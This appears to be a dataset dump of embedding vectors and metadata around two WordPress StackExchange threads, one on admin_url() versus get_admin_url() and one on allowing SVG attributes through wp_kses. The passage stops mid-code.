0.046600341796875, -0.0225372314453125, -0.0126190185546875, 0.0290069580078125, 0.057220458984375, -0.03533935546875, -0.055908203125, -0.0055389404296875, -0.0187225341796875, 0.0186767578125, 0.0105743408203125, 0.0322265625, -0.0169525146484375, -0.00569915771484375, -0.03533935546875, 0.023834228515625, 0.03948974609375, 0.0222320556640625, 0.0043487548828125, 0.0114288330078125, -0.061737060546875, 0.035736083984375, -0.04296875, 0.0316162109375, 0.0028743743896484375, 0.043975830078125, 0.0026760101318359375, 0.045684814453125, -0.00850677490234375, -0.0245513916015625, 0.0133514404296875, 0.018096923828125, 0.0091552734375, -0.0244293212890625, -0.02386474609375, -0.050567626953125, 0.027191162109375, 0.04205322265625, 0.02960205078125, 0.0205841064453125, 0.033660888671875, 0.051055908203125, 0.0311279296875, 0.00470733642578125, 0.053558349609375, 0.01050567626953125, 0.0628662109375, -0.05377197265625, 0.06341552734375, 0.0006084442138671875, 0.0095367431640625, -0.0260162353515625, 0.00939178466796875, 0.0243377685546875, 0.00836181640625, 0.01029205322265625, 0.0163726806640625, -0.00965118408203125, 0.01641845703125, 0.003360748291015625, 0.017913818359375, 0.03277587890625, -0.053802490234375, -0.0107421875, -0.037445068359375, -0.032623291015625, 0.0177764892578125, 0.034759521484375, -0.003444671630859375, 0.029541015625, 0.01178741455078125, -0.00923919677734375, 0.0286102294921875, -0.0030689239501953125, -0.0008015632629394531, 0.013031005859375, 0.01788330078125, -0.0015249252319335938, -0.030303955078125, -0.0249176025390625, 0.014495849609375, 0.04339599609375, -0.00554656982421875, 0.13037109375, -0.071533203125, -0.0075836181640625, -0.02911376953125, 0.0180511474609375, -0.0296173095703125, -0.02593994140625, 0.038330078125, -0.00510406494140625, -0.037353515625, -0.009124755859375, 0.0141143798828125, 0.01319122314453125, 0.024993896484375, -0.05352783203125, -0.003692626953125, -0.00803375244140625, 0.01096343994140625, -0.0175933837890625, 0.0280303955078125, -0.024627685546875, -0.0670166015625, -0.042816162109375, 0.016845703125, -0.004184722900390625, 0.040069580078125, -0.01221466064453125, 0.0716552734375, 0.01010894775390625, 0.0648193359375, -0.00218963623046875, 0.0027484893798828125, -0.006877899169921875, 0.031494140625, -0.051666259765625, -0.00511932373046875, 0.0640869140625, -0.005405426025390625, 0.0253448486328125, 0.025543212890625, 0.0374755859375, 0.027923583984375, 0.0111541748046875, 0.000054776668548583984, 0.0278167724609375, 0.018341064453125, 0.0214996337890625, 0.0219573974609375, -0.03826904296875, -0.0186004638671875, 0.0292510986328125, -0.06390380859375, -0.044677734375, -0.04840087890625, -0.019500732421875, 0.00652313232421875, -0.034149169921875, -0.068359375, -0.051666259765625, 0.0209197998046875, -0.01025390625, -0.00543975830078125, -0.0557861328125, 0.033233642578125, -0.01549530029296875, 0.05072021484375, -0.053558349609375, -0.023895263671875, -0.01025390625, -0.0128326416015625, -0.0648193359375, -0.0007581710815429688, -0.0665283203125, -0.03375244140625, -0.051727294921875, 0.0183868408203125, 0.054107666015625, -0.0179443359375, -0.04217529296875, -0.0172576904296875, 0.00106048583984375, 0.056365966796875, -0.03863525390625, 0.014892578125, 0.0194244384765625, 0.0108489990234375, -0.051605224609375, -0.04949951171875, 0.01508331298828125, -0.0284576416015625, -0.01251220703125, 0.030975341796875, -0.051910400390625, -0.016143798828125, -0.0416259765625, -0.06988525390625, 0.08038330078125, 0.0147552490234375, -0.0222015380859375, -0.05474853515625, -0.01617431640625, 0.001865386962890625, 0.01336669921875, -0.027618408203125, -0.0134124755859375, -0.044464111328125, 0.04656982421875, 0.02069091796875, 0.049560546875, -0.005413055419921875, 0.02984619140625, -0.0227508544921875, 0.01629638671875, -0.01119232177734375, 0.006114959716796875, 0.00672149658203125, 0.008636474609375, 0.052886962890625, 0.06475830078125, 0.00995635986328125, 0.060546875, 0.016510009765625, -0.074462890625, 0.048675537109375, -0.044219970703125, -0.0556640625, -0.044342041015625, 0.01091766357421875, -0.0178375244140625, 0.00942230224609375, 0.0089111328125, -0.0328369140625, -0.045135498046875, -0.023101806640625, 0.00528717041015625, 0.015838623046875, -0.03912353515625, 0.0271759033203125, 0.001453399658203125, 0.02972412109375, -0.00653076171875, -0.0209197998046875, -0.00972747802734375, -0.02392578125, -0.002178192138671875, 0.0086669921875, -0.0157623291015625, 0.0254974365234375, 0.03900146484375, -0.031524658203125, -0.0308837890625, -0.0089263916015625, 0.01070404052734375, -0.01531982421875, -0.059600830078125, 0.01038360595703125, 0.033660888671875, -0.009429931640625, -0.003963470458984375, 0.0513916015625, -0.0308837890625, 0.01302337646484375, -0.0020751953125, -0.0211639404296875, 0.0162811279296875, 0.0163116455078125, -0.005794525146484375, -0.05902099609375, 0.047607421875, 0.0242919921875, 0.052947998046875, -0.015716552734375, -0.015472412109375, -0.012603759765625, 0.0264892578125, 0.015655517578125, -0.005046844482421875, 0.0458984375, -0.0152587890625, -0.00490570068359375, 0.0210113525390625, 0.0051727294921875, -0.051361083984375, 0.009429931640625, -0.01320648193359375, 0.0207061767578125, 0.014678955078125 ]
111695d077978cbacf3b90de52a5e5a3ee7ddfc4
Wordpress Stackexchange Q: What's the difference between admin_url() and get_admin_url() functions? Except for the $blog_id parameter (which is only allowed in the get_admin_url function), what is the difference between admin_url and get_admin_url? A: The admin_url() function retrieves the URL to the admin area for your current site. You needn't give the blog id for your current site. You can use this function if you aren't running WordPress multisite. And use the get_admin_url() function to get a specific site URL in the multisite admin.
Q: What's the difference between admin_url() and get_admin_url() functions? Except for the $blog_id parameter (which is only allowed in the get_admin_url function), what is the difference between admin_url and get_admin_url? A: The admin_url() function retrieves the URL to the admin area for your current site. You needn't give the blog id for your current site. You can use this function if you aren't running WordPress multisite. And use the get_admin_url() function to get a specific site URL in the multisite admin. A: For single site installation: Technically, except the $blog_id parameter, there isn't any difference at all. admin_url function uses get_admin_url function internally with $blog_id parameter set to null. This is the source CODE of admin_url function: function admin_url( $path = '', $scheme = 'admin' ) { return get_admin_url( null, $path, $scheme ); } And this is the function signature of get_admin_url function: function get_admin_url( $blog_id = null, $path = '', $scheme = 'admin' ) So basically, calling admin_url( $path, $scheme ) is the same as calling get_admin_url( null, $path, $scheme ). For multisite installation: Since admin_url() doesn't support the $blog_id parameter, it's always used to get the Admin URL of the default blog (i.e. the current site you are accessing). However, if your WordPress is a multisite installation, and you need the Admin URL of another site within the same multisite network, then you'll need to use get_admin_url( $blog_id ). A: As clarified in the old WP references (but not in the new ones), the only difference between the two functions is that get_admin_url allows the management of multi-site, thanks to the $blog_id parameter.
wordpress
{ "language": "en", "length": 265, "provenance": "stackexchange_00019.jsonl.gz:488900", "question_score": "7", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/312598" }
[ 0.088134765625, -0.006679534912109375, 0.05120849609375, -0.045074462890625, 0.0046539306640625, -0.00801849365234375, 0.009674072265625, -0.03790283203125, -0.0296173095703125, 0.016693115234375, -0.0015048980712890625, 0.0121917724609375, -0.04437255859375, -0.035186767578125, 0.00772857666015625, -0.029541015625, 0.037139892578125, -0.04620361328125, -0.0144195556640625, -0.009674072265625, 0.0184326171875, 0.0100250244140625, -0.02459716796875, 0.05682373046875, 0.0235443115234375, -0.045806884765625, 0.0152740478515625, 0.0087127685546875, -0.0024127960205078125, -0.0176239013671875, 0.0156097412109375, 0.0014867782592773438, 0.006900787353515625, 0.0162353515625, -0.0209503173828125, -0.07452392578125, -0.014404296875, 0.0254364013671875, -0.001949310302734375, 0.00019478797912597656, 0.0284881591796875, -0.00909423828125, -0.023895263671875, 0.04974365234375, -0.03253173828125, -0.038055419921875, 0.01340484619140625, -0.0251617431640625, -0.040130615234375, -0.01131439208984375, 0.032562255859375, -0.01471710205078125, 0.049468994140625, 0.0009603500366210938, -0.0191497802734375, -0.029937744140625, 0.05316162109375, -0.044036865234375, 0.0273284912109375, -0.05322265625, -0.0643310546875, 0.003322601318359375, 0.0416259765625, 0.005077362060546875, -0.0167694091796875, 0.0208587646484375, 0.0308074951171875, 0.028656005859375, -0.07244873046875, -0.043426513671875, 0.009613037109375, -0.040802001953125, -0.01275634765625, 0.007480621337890625, -0.035186767578125, -0.02093505859375, 0.024566650390625, -0.0161590576171875, 0.0026302337646484375, 0.01523590087890625, 0.00262451171875, 0.0008077621459960938, -0.0574951171875, 0.0193939208984375, -0.001941680908203125, 0.0406494140625, -0.01053619384765625, -0.0272674560546875, -0.017120361328125, -0.0184173583984375, -0.0207366943359375, -0.06402587890625, -0.0167236328125, 0.0302276611328125, 0.008697509765625, -0.03204345703125, 0.033355712890625, 0.052215576171875, -0.01528167724609375, -0.020355224609375, -0.027984619140625, -0.00592041015625, -0.047332763671875, -0.01187896728515625, 0.00928497314453125, 0.045074462890625, 0.0221099853515625, 0.041595458984375, 0.03399658203125, -0.005496978759765625, 0.007595062255859375, 0.0107269287109375, -0.012664794921875, -0.037445068359375, 0.00786590576171875, 0.007167816162109375, -0.052520751953125, 0.0146636962890625, 0.006374359130859375, -0.00765228271484375, -0.0027294158935546875, 0.0301971435546875, 0.016876220703125, -0.0080108642578125, -0.001514434814453125, 0.0145111083984375, -0.01314544677734375, -0.045684814453125, -0.0243377685546875, 0.04632568359375, -0.03936767578125, -0.0063018798828125, 0.039825439453125, 0.00756072998046875, -0.00042057037353515625, -0.040435791015625, -0.0183563232421875, 0.0284881591796875, 0.0110321044921875, 0.00021409988403320312, 0.01293182373046875, -0.033935546875, -0.00693511962890625, 0.007598876953125, -0.04986572265625, 0.037811279296875, -0.0031490325927734375, -0.0037326812744140625, -0.01056671142578125, -0.0562744140625, -0.055145263671875, -0.032012939453125, 0.00182342529296875, 0.0239105224609375, 0.032073974609375, -0.00791168212890625, 0.03851318359375, -0.0249786376953125, 0.00965118408203125, -0.01080322265625, 0.0140228271484375, 0.004535675048828125, 0.00469970703125, -0.005687713623046875, -0.0313720703125, -0.00737762451171875, -0.0270538330078125, -0.016326904296875, 0.01462554931640625, -0.0219573974609375, 0.03192138671875, 0.014495849609375, 0.004840850830078125, 0.0294189453125, 0.0274505615234375, -0.00008612871170043945, -0.0215911865234375, 0.0125732421875, 0.0084686279296875, 0.0435791015625, 0.0019006729125976562, -0.03436279296875, -0.0178985595703125, 0.01360321044921875, -0.048431396484375, 0.0273895263671875, 0.00943756103515625, 0.04974365234375, 0.01435089111328125, 0.0207672119140625, 0.033416748046875, 0.0031871795654296875, 0.018798828125, 0.01326751708984375, -0.004627227783203125, -0.0288238525390625, -0.01384735107421875, 0.0234527587890625, -0.040863037109375, -0.037750244140625, -0.007602691650390625, 0.03363037109375, -0.006000518798828125, 0.04547119140625, -0.0092315673828125, 0.030059814453125, -0.007022857666015625, 0.023223876953125, 0.01171112060546875, 0.0509033203125, -0.005893707275390625, 0.03546142578125, -0.0227203369140625, -0.0281219482421875, -0.00377655029296875, -0.0010786056518554688, -0.01357269287109375, 0.020660400390625, -0.0186920166015625, 0.02862548828125, -0.03948974609375, -0.00689697265625, -0.04669189453125, -0.01922607421875, 0.0526123046875, -0.01052093505859375, -0.01174163818359375, -0.02825927734375, 0.054931640625, -0.00848388671875, -0.036468505859375, 0.045501708984375, 0.042755126953125, 0.0550537109375, -0.013916015625, -0.01316070556640625, 0.0144500732421875, -0.06658935546875, 0.0180511474609375, 0.048248291015625, 0.04193115234375, 0.01348876953125, -0.00502777099609375, -0.00804901123046875, 0.0218048095703125, -0.0361328125, 0.0158843994140625, -0.0221099853515625, -0.0193328857421875, 0.04913330078125, 0.01343536376953125, 0.01387786865234375, -0.00447845458984375, -0.02667236328125, -0.036834716796875, 0.045166015625, -0.01412200927734375, 0.004180908203125, -0.03271484375, 0.0231475830078125, -0.0006184577941894531, -0.00833892822265625, -0.00733184814453125, -0.016265869140625, -0.0560302734375, 0.05377197265625, 0.004077911376953125, 0.029205322265625, -0.0298919677734375, -0.0028362274169921875, 0.035247802734375, 0.0732421875, -0.004322052001953125, 0.06231689453125, 0.06072998046875, -0.036346435546875, -0.01438140869140625, -0.0264739990234375, -0.0216064453125, 0.0216064453125, -0.0278472900390625, 0.0292510986328125, -0.048858642578125, -0.01189422607421875, -0.034088134765625, -0.03369140625, 0.00518035888671875, 0.0251007080078125, 0.035064697265625, -0.0140838623046875, 0.039581298828125, -0.0287322998046875, -0.049560546875, 0.05584716796875, -0.0190277099609375, -0.057861328125, -0.003917694091796875, -0.027984619140625, 0.006816864013671875, -0.016387939453125, 0.07568359375, 0.049957275390625, -0.0003151893615722656, 0.007022857666015625, 0.0157012939453125, -0.01129150390625, -0.007843017578125, 0.0212860107421875, 0.01396942138671875, 0.05743408203125, -0.10235595703125, 0.0233154296875, 0.007724761962890625, 0.00617218017578125, 0.007556915283203125, -0.027923583984375, -0.0191802978515625, -0.002864837646484375, -0.08636474609375, -0.05389404296875, -0.05963134765625, -0.0672607421875, -0.00911712646484375, 0.00312042236328125, -0.0245361328125, 0.0279388427734375, 0.01727294921875, 0.0202789306640625, 0.056396484375, 0.01153564453125, -0.0794677734375, -0.00498199462890625, -0.08172607421875, -0.008148193359375, -0.0287322998046875, -0.00208282470703125, 0.0004410743713378906, 0.022674560546875, -0.0039825439453125, -0.040374755859375, 0.003887176513671875, 0.009796142578125, 0.00411224365234375, -0.0101776123046875, -0.037078857421875, -0.0008864402770996094, 0.003704071044921875, -0.0023746490478515625, 0.06292724609375, 0.01885986328125, -0.004222869873046875, 0.01186370849609375, 0.00241851806640625, -0.01445770263671875, 0.0628662109375, -0.051727294921875, -0.031646728515625, 0.0267333984375, 0.03656005859375, -0.03265380859375, -0.0252838134765625, -0.03631591796875, -0.057464599609375, 0.10333251953125, 0.054840087890625, -0.0070648193359375, 0.023345947265625, 0.01715087890625, -0.0015010833740234375, -0.00634002685546875, -0.00514984130859375, -0.03045654296875, 0.0347900390625, 0.00032448768615722656, 0.026397705078125, 0.0017290115356445312, 0.004550933837890625, -0.0235137939453125, -0.02239990234375, -0.0099029541015625, 0.024139404296875, 0.0124664306640625, -0.022369384765625, 0.01282501220703125, -0.03857421875, 0.04193115234375, -0.041290283203125, 0.015533447265625, -0.043670654296875, -0.02630615234375, -0.023193359375, 0.079833984375, 0.007213592529296875, -0.0034809112548828125, -0.004024505615234375, 0.01532745361328125, -0.0472412109375, -0.0660400390625, -0.067138671875, 0.00991058349609375, -0.056640625, -0.00801849365234375, -0.0452880859375, 0.004673004150390625, -0.0306396484375, 0.0858154296875, -0.0272369384765625, -0.027740478515625, 0.0163726806640625, -0.00042438507080078125, -0.00841522216796875, 0.00850677490234375, -0.0089263916015625, -0.0105133056640625, 0.01079559326171875, -0.0200042724609375, -0.0009064674377441406, -0.02435302734375, 0.037109375, 0.01047515869140625, 0.0008940696716308594, -0.03326416015625, 0.0087432861328125, 0.026214599609375, -0.0156707763671875, -0.0177001953125, -0.0208892822265625, 0.0002415180206298828, 0.025115966796875, -0.0211181640625, -0.0416259765625, -0.007785797119140625, -0.019073486328125, -0.052154541015625, -0.0623779296875, -0.045257568359375, -0.002574920654296875, 0.0321044921875, 0.018829345703125, -0.00592041015625, -0.05987548828125, 0.0027484893798828125, 0.006031036376953125, -0.0031566619873046875, -0.0049896240234375, 0.0007281303405761719, 0.030853271484375, -0.050628662109375, 0.01837158203125, 0.01088714599609375, -0.022216796875, -0.005329132080078125, 0.0267181396484375, 0.029205322265625, -0.0210113525390625, -0.00273895263671875, -0.001514434814453125, 0.0279693603515625, -0.044647216796875, 0.06689453125, 0.0635986328125, -0.00795745849609375, 0.023162841796875, -0.004978179931640625, 0.0019359588623046875, 0.0177459716796875, 0.0171051025390625, 0.008941650390625, -0.0121612548828125, 0.0041046142578125, 0.00001633167266845703, -0.01739501953125, 0.055694580078125, -0.0194091796875, -0.0209197998046875, -0.05047607421875, 0.033782958984375, -0.006893157958984375, 0.01126861572265625, -0.047943115234375, -0.0218658447265625, 0.0200653076171875, -0.0262298583984375, 0.0065155029296875, 0.0221405029296875, -0.016632080078125, -0.00972747802734375, -0.0101165771484375, 0.00030803680419921875, 0.0234375, 0.024993896484375, 0.01776123046875, 0.006038665771484375, 0.0207366943359375, -0.0169219970703125, -0.007137298583984375, -0.01219940185546875, 0.060150146484375, 0.0121612548828125, -0.0247650146484375, 0.0016183853149414062, 0.0074615478515625, 0.00821685791015625, 0.00010895729064941406, -0.017730712890625, 0.040313720703125, 0.0081939697265625, -0.028289794921875, -0.0184173583984375, -0.0191650390625, -0.043212890625, -0.060150146484375, 0.03240966796875, -0.007709503173828125, 0.025146484375, 0.0252685546875, 0.10137939453125, -0.0284576416015625, 0.0823974609375, -0.0232391357421875, 0.024078369140625, 0.005939483642578125, 0.00911712646484375, 0.007457733154296875, 0.01126861572265625, 0.006877899169921875, -0.0264129638671875, 0.0088958740234375, -0.004711151123046875, 0.0298919677734375, 0.0042572021484375, 0.01280975341796875, 0.050079345703125, -0.0004177093505859375, -0.00530242919921875, -0.027435302734375, -0.0400390625, 0.07427978515625, 0.031646728515625, -0.0657958984375, -0.022125244140625, -0.003520965576171875, 0.0183258056640625, -0.010009765625, -0.034637451171875, 0.052947998046875, -0.0237884521484375, 0.0386962890625, -0.0185699462890625, -0.01461029052734375, 0.0198211669921875, 0.0159912109375, -0.0181884765625, -0.0305938720703125, -0.0133819580078125, 0.0010938644409179688, 0.005764007568359375, -0.021759033203125, -0.031829833984375, 0.0361328125, 0.00389862060546875, 0.040740966796875, -0.038421630859375, -0.03271484375, -0.0533447265625, -0.003490447998046875, 0.071044921875, 0.05291748046875, -0.05804443359375, 0.003803253173828125, -0.06439208984375, -0.00690460205078125, -0.0477294921875, -0.0292205810546875, -0.020233154296875, 0.008880615234375, -0.01806640625, 0.01041412353515625, 0.018341064453125, 0.0740966796875, 0.022186279296875, 0.042205810546875, -0.03338623046875, 0.042205810546875, -0.004306793212890625, 0.038848876953125, 0.0426025390625, 0.0235137939453125, 0.0246734619140625, 0.014923095703125, -0.0204620361328125, -0.023040771484375, 0.00946807861328125, -0.0260009765625, -0.02752685546875, -0.02740478515625, 0.0188140869140625, -0.00679779052734375, 0.0005788803100585938, -0.0015077590942382812, -0.0019521713256835938, 0.0250091552734375, 0.00333404541015625, -0.0191802978515625, -0.0286407470703125, 0.0231170654296875, 0.032958984375, -0.04022216796875, -0.003101348876953125, 0.06085205078125, -0.01412200927734375, -0.04473876953125, 0.026336669921875, -0.0037441253662109375, 0.0308074951171875, 0.0369873046875, -0.04052734375, 0.049163818359375, 0.11029052734375, 0.019317626953125, 0.061248779296875, 0.03839111328125, 0.010467529296875, 0.00983428955078125, 0.00539398193359375, -0.0005950927734375, -0.0302886962890625, 0.044708251953125, 0.01036834716796875, -0.0022449493408203125, 0.05035400390625, -0.01541900634765625, 0.019927978515625, 0.05194091796875, 0.0751953125, -0.0667724609375, 0.0030307769775390625, 0.033660888671875, -0.011444091796875, -0.0016088485717773438, 0.011322021484375, -0.040191650390625, -0.060791015625, 0.0252532958984375, -0.0170440673828125, -0.0116424560546875, -0.00026297569274902344, 0.0084381103515625, -0.0181732177734375, -0.0240936279296875, 0.0181427001953125, 0.0272674560546875, 0.0227203369140625, 0.0251312255859375, -0.0225982666015625, 0.0301513671875, -0.0088348388671875, 0.0042572021484375, -0.0109710693359375, -0.019561767578125, -0.04803466796875, -0.01065826416015625, -0.0063629150390625, -0.01416015625, -0.0251007080078125, 0.025360107421875, 0.03460693359375, 0.043731689453125, -0.00011867284774780273, -0.0191497802734375, 0.0226287841796875, 0.005466461181640625, 0.035980224609375, -0.0002071857452392578, 0.009063720703125, 0.034149169921875, -0.015869140625, 0.0084228515625, -0.0034542083740234375, -0.0157928466796875, 0.0079345703125, -0.0006685256958007812, 0.060089111328125, -0.0369873046875, -0.007476806640625, 0.049896240234375, -0.00897216796875, -0.0254364013671875, -0.01617431640625, 0.031402587890625, -0.05126953125, -0.0048065185546875, -0.00016105175018310547, -0.009033203125, -0.0010805130004882812, -0.0276641845703125, -0.039825439453125, 0.06085205078125, 0.00472259521484375, 0.0298004150390625, 0.03387451171875, 0.00893402099609375, -0.015838623046875, -0.0012607574462890625, -0.0260467529296875, -0.00385284423828125, 0.0251007080078125, -0.034698486328125, -0.038665771484375, 0.0081787109375, -0.056060791015625, 0.001499176025390625, 0.08465576171875, 0.0261077880859375, -0.03375244140625, -0.02392578125, 0.031494140625, 0.03216552734375, -0.0105743408203125, 0.042327880859375, 0.0306549072265625, 0.08270263671875, 0.0999755859375, -0.035980224609375, 0.03436279296875, 0.0089874267578125, 0.0079193115234375, 0.057830810546875, -0.00522613525390625, -0.00978851318359375, 0.01861572265625, -0.03692626953125, -0.03271484375, 0.004241943359375, 0.0208892822265625, -0.058685302734375, 0.0005717277526855469, -0.005390167236328125, 0.006656646728515625, -0.01129913330078125, 0.0404052734375, -0.021392822265625, 0.045166015625, 0.0116424560546875, 0.00690460205078125, 0.02069091796875, 0.00991058349609375, 0.0231781005859375, 0.023895263671875, 0.0051116943359375, 0.0374755859375, 0.0026187896728515625, 0.042999267578125, 0.044189453125, 0.029754638671875, -0.0190887451171875, 0.004474639892578125, 0.03265380859375, 0.042510986328125, -0.027618408203125, -0.02056884765625, 0.009124755859375, 0.00872039794921875, 0.004528045654296875, 0.0053863525390625, 0.0193328857421875, 0.0083465576171875, 0.0080108642578125, -0.01395416259765625, -0.0105743408203125, 0.036834716796875, 0.01279449462890625, -0.0027141571044921875, -0.0179901123046875, 0.0075836181640625, -0.002353668212890625, -0.03729248046875, -0.0206298828125, 0.0192718505859375, 0.049285888671875, 0.0289764404296875, 0.038970947265625, -0.057220458984375, -0.038299560546875, -0.0298004150390625, 0.059295654296875, -0.0316162109375, 0.0238800048828125, -0.06878662109375, -0.081298828125, 0.026885986328125, 0.048980712890625, 0.0147552490234375, 0.006771087646484375, 0.033721923828125, 0.01837158203125, -0.007488250732421875, 0.00432586669921875, 0.021209716796875, -0.00785064697265625, 0.02935791015625, -0.0513916015625, 0.0182952880859375, -0.0212860107421875, -0.01410675048828125, -0.005084991455078125, -0.01064300537109375, 0.0106658935546875, -0.01403045654296875, 0.023468017578125, 0.0016622543334960938, -0.00713348388671875, 0.022491455078125, -0.018798828125, 0.019195556640625, -0.0143280029296875, -0.048858642578125, -0.011993408203125, -0.00959014892578125, -0.031280517578125, 0.0291290283203125, 0.04962158203125, -0.002246856689453125, 0.0075531005859375, -0.008148193359375, 0.00959014892578125, -0.03607177734375, 0.026641845703125, -0.006984710693359375, -0.055511474609375, 0.034454345703125, -0.01282501220703125, -0.04974365234375, -0.029388427734375, -0.00780487060546875, 0.0254058837890625, 0.0027942657470703125, 0.0753173828125, -0.017333984375, 0.0051116943359375, -0.0008554458618164062, 0.020172119140625, -0.05023193359375, -0.01629638671875, -0.002506256103515625, -0.053619384765625, -0.003231048583984375, 0.02069091796875, -0.034881591796875, 0.0260009765625, 0.0270843505859375, -0.03045654296875, 0.03753662109375, -0.003143310546875, -0.003406524658203125, -0.044464111328125, 0.0009279251098632812, -0.044036865234375, -0.041900634765625, -0.04034423828125, 0.0005769729614257812, 0.01360321044921875, -0.012176513671875, -0.03369140625, 0.0340576171875, -0.01499176025390625, -0.0304107666015625, 0.00893402099609375, -0.02618408203125, 0.0013341903686523438, 0.02935791015625, -0.0207977294921875, -0.0076141357421875, 0.0189208984375, -0.0184326171875, 0.0322265625, -0.001888275146484375, 0.048980712890625, 0.008392333984375, 0.004978179931640625, -0.00872039794921875, -0.0301361083984375, 0.005001068115234375, -0.041290283203125, -0.003204345703125, 0.01331329345703125, 0.0163726806640625, -0.00873565673828125, -0.018951416015625, -0.01296234130859375, -0.0472412109375, -0.0184478759765625, 0.00006306171417236328, -0.026885986328125, -0.03424072265625, -0.0016145706176757812, 0.020050048828125, 0.01435089111328125, -0.007537841796875, -0.040802001953125, 0.030059814453125, -0.03814697265625, 0.039886474609375, -0.01812744140625, 0.0010271072387695312, -0.0031070709228515625, 0.056488037109375, -0.024383544921875, -0.00995635986328125, -0.03375244140625, -0.0036220550537109375, -0.031280517578125, 0.031646728515625, 0.0299224853515625, -0.03887939453125, -0.0187530517578125, 0.05157470703125, 0.025421142578125, 0.093017578125, -0.008331298828125, -0.0259857177734375, 0.0002529621124267578, 0.016021728515625, -0.030609130859375, -0.040863037109375, 0.01082611083984375, -0.0173797607421875, 0.0045928955078125, -0.0016574859619140625, -0.015655517578125, 0.01222991943359375, -0.0265960693359375, -0.046630859375, 0.022857666015625, 0.00812530517578125, -0.039215087890625, -0.0204010009765625, -0.01953125, 0.00582122802734375, 0.0288848876953125, -0.0025634765625, -0.01556396484375, -0.059356689453125, -0.0007338523864746094, 0.05230712890625, 0.00650787353515625, 0.0400390625, 0.0241851806640625, -0.0131378173828125, 0.055755615234375, 0.047607421875, 0.042236328125, 0.016998291015625, -0.02777099609375, 0.040283203125, 0.03857421875, -0.01293182373046875, -0.008331298828125, 0.0025787353515625, -0.0141754150390625, -0.04937744140625, -0.056121826171875, 0.01268768310546875, 0.0222320556640625, 0.08349609375, 0.0736083984375, 0.0086517333984375, -0.0732421875, -0.030364990234375, 0.0018491744995117188, -0.037872314453125, -0.040802001953125, 0.047576904296875, -0.09698486328125, -0.0240936279296875, 0.01214599609375, -0.0208587646484375, 0.01446533203125, -0.02813720703125, -0.047515869140625, 0.01113128662109375, -0.0114898681640625, 0.00664520263671875, -0.05279541015625, -0.02752685546875, 0.06866455078125, -0.04644775390625, -0.00899505615234375, 0.0185699462890625, 0.0254058837890625, 0.01611328125, -0.00615692138671875, 0.005924224853515625, 0.00849151611328125, -0.0264434814453125, 0.004730224609375, 0.00830078125, 0.014862060546875, 0.004619598388671875, -0.0202789306640625, 0.01186370849609375, 0.01253509521484375, -0.0163116455078125, -0.0028476715087890625, 0.02178955078125, 0.047576904296875, -0.005367279052734375, 0.0236053466796875, 0.02886962890625, 0.09490966796875, -0.00272369384765625, 0.0609130859375, -0.036041259765625, -0.0210723876953125, -0.040130615234375, -0.01374053955078125, -0.01525115966796875, 0.0250091552734375, -0.0126800537109375, -0.041107177734375, 0.02215576171875, -0.04052734375, 0.024200439453125, 0.01806640625 ]
5fafb5cce5bcf704261925e1bbf1e07c9dc29347
Wordpress Stackexchange Q: Escaping SVG with KSES I'm trying to output an SVG file in a template, and PHPCS is telling me I need to escape the output. So I tried with KSES and it doesn't seem to want to include the viewbox attribute. $allowed_html = array( 'svg' => array( 'xmlns' => array (), 'viewBox' => true ), 'path' => array( 'd'=> array(), ), ); wp_kses(file_get_contents( $logo ), $allowed_html ) Any ideas why this doesn't work? A: great solution @mrwweb if you want to use this in functions.php <?php function get_kses_extended_ruleset() { $kses_defaults = wp_kses_allowed_html( 'post' ); $svg_args = array( 'svg' => array( 'class' => true, 'aria-hidden' => true, 'aria-labelledby' => true, 'role' => true, 'xmlns' => true, 'width' => true, 'height' => true, 'viewbox' => true, // <= Must be lower case! ), 'g' => array( 'fill' => true ), 'title' => array( 'title' => true ), 'path' => array( 'd' => true, 'fill' => true, ), ); return array_merge( $kses_defaults, $svg_args ); } template: <?php echo wp_kses( $svg_code, get_kses_extended_ruleset() );
Q: Escaping SVG with KSES I'm trying to output an SVG file in a template, and PHPCS is telling me I need to escape the output. So I tried with KSES and it doesn't seem to want to include the viewbox attribute. $allowed_html = array( 'svg' => array( 'xmlns' => array (), 'viewBox' => true ), 'path' => array( 'd'=> array(), ), ); wp_kses(file_get_contents( $logo ), $allowed_html ) Any ideas why this doesn't work? A: great solution @mrwweb if you want to use this in functions.php <?php function get_kses_extended_ruleset() { $kses_defaults = wp_kses_allowed_html( 'post' ); $svg_args = array( 'svg' => array( 'class' => true, 'aria-hidden' => true, 'aria-labelledby' => true, 'role' => true, 'xmlns' => true, 'width' => true, 'height' => true, 'viewbox' => true, // <= Must be lower case! ), 'g' => array( 'fill' => true ), 'title' => array( 'title' => true ), 'path' => array( 'd' => true, 'fill' => true, ), ); return array_merge( $kses_defaults, $svg_args ); } template: <?php echo wp_kses( $svg_code, get_kses_extended_ruleset() ); A: I found your question as I was searching for an answer. I tried experimenting a bit more with wp_kses() (code reference) found that lower-casing viewBox in the arguments seems to fix the issue. You do not have to put the actual attribute on the SVG in lowercase, just in the $allowed_html parameter that you pass to the function. Here is an example that you can start with: <?php $kses_defaults = wp_kses_allowed_html( 'post' ); $svg_args = array( 'svg' => array( 'class' => true, 'aria-hidden' => true, 'aria-labelledby' => true, 'role' => true, 'xmlns' => true, 'width' => true, 'height' => true, 'viewbox' => true // <= Must be lower case! ), 'g' => array( 'fill' => true ), 'title' => array( 'title' => true ), 'path' => array( 'd' => true, 'fill' => true ) ); $allowed_tags = array_merge( $kses_defaults, $svg_args ); echo wp_kses( $rich_text_that_might_include_SVGs, $allowed_tags ); List all SVG elements at the same level regardless of how they are organized in the SVG code itself. Make sure for each SVG element, all attributes are represented. You do not need to indicate the attribute value in the $svg_args array. Take for instance this SVG code: <svg width="19px" height="17px" viewBox="0 0 19 17" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>View Page</title> <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <g id="View Page" stroke="#1892FF" stroke-width="2"> <line x1="0" y1="8" x2="17" y2="8" id="Path-3"></line> <polyline id="Path-4" points="9 0.5 17 8 9 15.5"></polyline> </g> </g> </svg> You may think your $svg_args need to be like this: // Passing this arg to wp_kses() will not display the svg. $svg_args = array( 'svg' => array( 'title' => true, 'g' => array( 'id' => true, 'stroke' => true, 'stroke-width' => true, 'fill' => true, 'fill-rule' => true, 'g' => array( 'line' => array ( 'id' => true, 'x1' => true, 'y1' => true, 'x2' => true, 'y2' => true ), 'polyline' => array ( 'id' => true, 'points' => true ) ) ) ) ); I want to re-clarify that the correct syntax (for this specific example) is: $svg_args = array( 'svg' => array( 'class' => true, 'aria-hidden' 